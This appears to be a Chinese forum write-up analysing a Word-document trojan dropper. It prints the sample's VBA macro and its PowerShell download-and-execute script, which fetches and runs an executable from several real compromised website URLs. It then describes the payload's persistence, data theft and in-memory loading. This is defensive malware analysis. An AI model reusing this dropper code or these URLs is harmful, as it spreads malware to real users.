查看原文
其他

记一次某PE木马较不完整分析

阿伪 看雪学院 2021-03-08

本文为看雪论坛优秀文章

看雪论坛作者ID:阿伪



记录一下最近分析的一个样本,自己依然是个菜鸡,有很多不足,希望各位师傅提出错误我努力学习。我头发都没了,此木马发送用户信息加密,能进行远程后门访问等功能,导入函数和导出函数只有一个,大量的动态加载API。
 
IDB和样本都放下面学习链接那了。


0x01 样本信息



样本名称:
f7df4126d9ae958be542583f0da746c4097bcc33b743a7af3896a3292de52282-1571228285.doc

样本大小:182,784

MD5:b72f31807db78e70eb2c45993dd2a4e1

SHA-256:c1fff4d580677f66da1841e882d94f17bc04068d

SHA-1:
f7df4126d9ae958be542583f0da746c4097bcc33b743a7af3896a3292de52282

样本来源:
https://app.any.run/tasks/62240da8-9741-45ff-8c12-b26d704a6145/


0x02 分析环境



环境:VMware15、Win10 专业版、Office 365


0x03 病毒行为





0x04 详细分析



>>>>

1. 打开doc.宏代码


Alt+F11查看调试宏代码。
 
三个模块分别为Pibafqel、Nzolhtmfybml、Xhnbvwxbzhq。Nzolhtmfybml里面是空的,其他两个里面充满类似家庭地址的注释,使用脚本删除掉后进行调试翻译,去除无用混淆,大多数都只是定义,声明的函数。

Function XXX()
            
;这种格式表示一个函数
End Function
 
Sub AutoOpen()
            
;运行文档时候,自动运行宏
End Sub


调试后发现,在autoopen中使用过函数有Hsbahypqju()和Abiufkgnjgdiv(Kmtifafrucqb)。
 
化简:


autopen()


调用Hsbahypqju()。

Hsbahypqju()


遇到个office坑的地方,通过监视窗口只能查看前250个字符,所以最好通过Debug.Print打印变量,能看到全部字符串。

Function Hsbahypqju()
On Error Resume Next
Set Dtzjcfqgj = CreateObject("winmgmts:win32_processstartup")
Dtzjcfqgj.ShowWindow = 0#
    Thbjfvedxuqm = "powershell -e <# https://www.microsoft.com/ #> $Eywrqrdqbmw='Rzhvtqwrc';$Jcwhciloutn = '846';$Ctyrqdpzavru='Wixhqavur';$Bpaqqzwo=$env:userprofile+'\'+$Jcwhciloutn+'.exe';$Yawfxccmy='Ezlignhvinnmt';$Tlvpwcruuo=.('new-'+'obj'+'ect') NEt.WebClIENT;$Jznyrpyuqf='http://complaintboardonline.com/wp-admin/qekr3925/*https://frazischool.com/wp-includes/ozi2y6740/*https://sagarngofoundation.com/jxc5c/q54824/*https://naturerepublickh.com/test/wvvqa9/*https://watonlight.com/wp-admin/wa31628/'."sp`LiT"('*');$Ufiwicmkrdst='Ohjtzdywhuim';foreach($Lygaeckfk in $Jznyrpyuqf){try{$Tlvpwcruuo."d`OwNLoa`D`FILE"($Lygaeckfk, $Bpaqqzwo);$Tlncrdhw='Fvsotfnt';If ((&('G'+'et-It'+'em') $Bpaqqzwo)."LE`NgtH" -ge 23622) {[Diagnostics.Process]::"s`TARt"($Bpaqqzwo);$Getujvyyonwg='Gppbzmrdhoel';break;$Cgphukmh='Hhiypojok'}}catch{}}$Pyreoccwfqy='Whyolyeyvhts'"
Set Ywlbxgbmzrxh = CreateObject("winmgmts:Win32_Process")
Finrmepurj = Ywlbxgbmzrxh.Create(Thbjfvedxuqm, Ncrmxklxbct, Dtzjcfqgj, Pxajxegluaugg)
End Function


1. 创建一个winmgmts:win32_processstartup对象,仅用于将信息传递给Win32_Process类的Create方法
2. 隐藏窗口
3. 命令行字符串
4. 创建winmgmts:Win32_Process对象
5. 通过Win32_Process方法Creat运行字符串.-e为-EncodeCommand.powershell -e运行base64编码的字符串。Create(命令行,子进程路径,启动配置,进程od)`


Abiufkgnjgdiv(Kmtifafrucqb)


将传入的字符串中的0xdc3替换为空,恢复字符串的作用。

>>>>

2. PowerShell


$Eywrqrdqbmw='Rzhvtqwrc';
$Jcwhciloutn = '846';
$Ctyrqdpzavru='Wixhqavur';
$Bpaqqzwo="%userprofile%\846.exe";
$Yawfxccmy='Ezlignhvinnmt';
$Tlvpwcruuo=.('new-object') NEt.WebClIENT;
$Jznyrpyuqf='http://complaintboardonline.com/wp-admin/qekr3925/*https://frazischool.com/wp-includes/ozi2y6740/*https://sagarngofoundation.com/jxc5c/q54824/*https://naturerepublickh.com/test/wvvqa9/*https://watonlight.com/wp-admin/wa31628/'."spLiT"('*');
$Ufiwicmkrdst='Ohjtzdywhuim';
foreach($Lygaeckfk in $Jznyrpyuqf){
    try{$Tlvpwcruuo."dOwNLoaDFILE"($Lygaeckfk, $Bpaqqzwo);
    $Tlncrdhw='Fvsotfnt';
    If ((&('Get-Item') $Bpaqqzwo)."LENgtH" -ge 23622) {
        [Diagnostics.Process]::"sTARt"($Bpaqqzwo);
        $Getujvyyonwg='Gppbzmrdhoel';
        break;
        $Cgphukmh='Hhiypojok'}
        }
    catch{}
}
$Pyreoccwfqy='Whyolyeyvhts'


1. 创建WebClient对象
2. 调用downloadfile方法通过用*分割好的数组的链接遍历下载文件并存储为%userprofile%\846.exe
3. 如果长度大于23622,则启动846.exe程序
4. 最后一个网址疑似被挂马,可能已被入侵作为传播中转站

>>>>

3. 846.exe


位置: %userprofile%\846.exe
 
名称: 846.exe
 
md5: e83c5ba6be05ec51ae6ceb2470fcfdf3
 
sha-1: 94b527756b6c6753822501f76f161bf64ad6974c
 
sha-256: fb0a0f10cbebefb5dbe6034c3bdfe246179e444c68a6e36c4d20232d52fc07a7
 
 
时间是最近创建的.无壳,使用vs2015编译。

(1)行为分析


根据ProcessExplorer观察程序执行大概流程.846.exe执行后会启动一个新进程 后杀掉自己,新进程名为dasmrcdasmrc.exe,地址为%LOCALAPPDATA%\dasmrcdasmrc.exe。
 


(2)详细分析


信息收集


存在唯一的导出函数qzLgKZBqfCXorfLMeJzdKzgyvdzqwF,EntryPoint为0x00004960
 
CIRC OLE Control DLL可能某个样本种类吧。

流程分析


Winmain
 
 
通过导出表获取函数qzLgKZBqfCXorfLMeJzdKzgyvdzqwF的地址,跳转执行。

导出函数 qzLgKZBqfCXorfLMeJzdKzgyvdzqwF()
 
 
获取VirtualAlloc函数地址,以使得后续能拷贝执行数据。
 

解密数据执行
 

1. sub_1E0467函数通过传如对应函数hash值获取所需api地址。

sub_1e0467:


(((FS:[30])+0xC)+0xC)获取Ldr的地址,后面进行遍历和比较最终得到所需要的地址,参考链接放在下面了。


根据PE偏移,获取各个节的数据。



2. 申请空间


3. 拷贝后门程序pe数据,这时候顺便去dump内存被复制的pe数据,(毕竟可能不用修复重定位(x)。


得知程序入口RVA为0x1000,基地址为0x60000,所以起始地址为0x610000,块大小为D200。

4. 内存页属性修改

修改代码段为可执行可读属性。


修改数据段为可读属性。


5. 执行新pe文件的代码段,这时候顺便dump下来pe数据。


内存pe执行

1. 拷贝数据


2. 获取模块全称和地址


3. 计算key


4. 格式化参数


5. 计算出的命令行参数和从右往左取现有命令行进行比较,如果命令相等则执行内部函数。不相等的话执行下列流程:



6. 不相等后

执行后续程序,最终CreateProcessW。

创建新的自身进程并附加对应计算出的命令参数:



7. 退出进程


主要功能

" class="anchor" href="#">

 
使用上述的命令行字符串进行调试,这时候为了方便使用之前解密后dump下来的pe数据。
 
二者字符串相等进入sub_30B8AB。
 
 
通过互斥量执行主要功能函数函数,等待4000ms。
 
 
功能大致分布区域,通过对固定内存空间的值进行校验赋值,依次执行不同功能。

1. 系统进程获取


sub_302255


进程名存储:



2. 信息发送:


发送流程:


3. 注册自启动:


4. 新文件:


启动:


5. 令牌获取:


高权限执行:


6. 移动文件:


使用SHFileOperationW操作文件:


>>>>

4. dasmrcdasmrc.exe


位置:%localappdata%\dasmrcdasmrc\dasmrcdasmrc.exe
 
名称:dasmrcdasmrc.exe
 
md5:e83c5ba6be05ec51ae6ceb2470fcfdf3
 
sha-1:94b527756b6c6753822501f76f161bf64ad6974c
 
sha-256:
fb0a0f10cbebefb5dbe6034c3bdfe246179e444c68a6e36c4d20232d52fc07a7
 
和846同一文件,并执行了木马函数。


0x05 恶意IP



通过fiddler,发包可知恶意流量ip地址。
 



0x06 IOC



MD5
 
b72f31807db78e70eb2c45993dd2a4e1
 
e83c5ba6be05ec51ae6ceb2470fcfdf3


IP




学习链接与资源


样本和idb放这里了:

https://github.com/Xuwei98/malware-analysis/tree/master/Trojan/2019-10-18-word-pe%E6%9C%A8%E9%A9%AC

通过Hash查找API函数地址:
https://green-m.me/2018/04/26/find-api-adress-by-hash/
 
CryptoAPI:
https://blog.csdn.net/anda0109/article/details/50013523



- End -






看雪ID:阿伪

https://bbs.pediy.com/user-779000.htm 


*本文由看雪论坛  阿伪  原创,转载请注明来自看雪社区




推荐文章++++

Android 应用多开对抗实践

Linux pwn从入门到熟练(三)

浅谈Bypass disable_function

内存dump 获得基于Unity3d的游戏相关代码

Android逆向入门练习——滑雪大冒险支付分析





进阶安全圈,不得不读的一本书










“阅读原文”一起来充电吧!

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存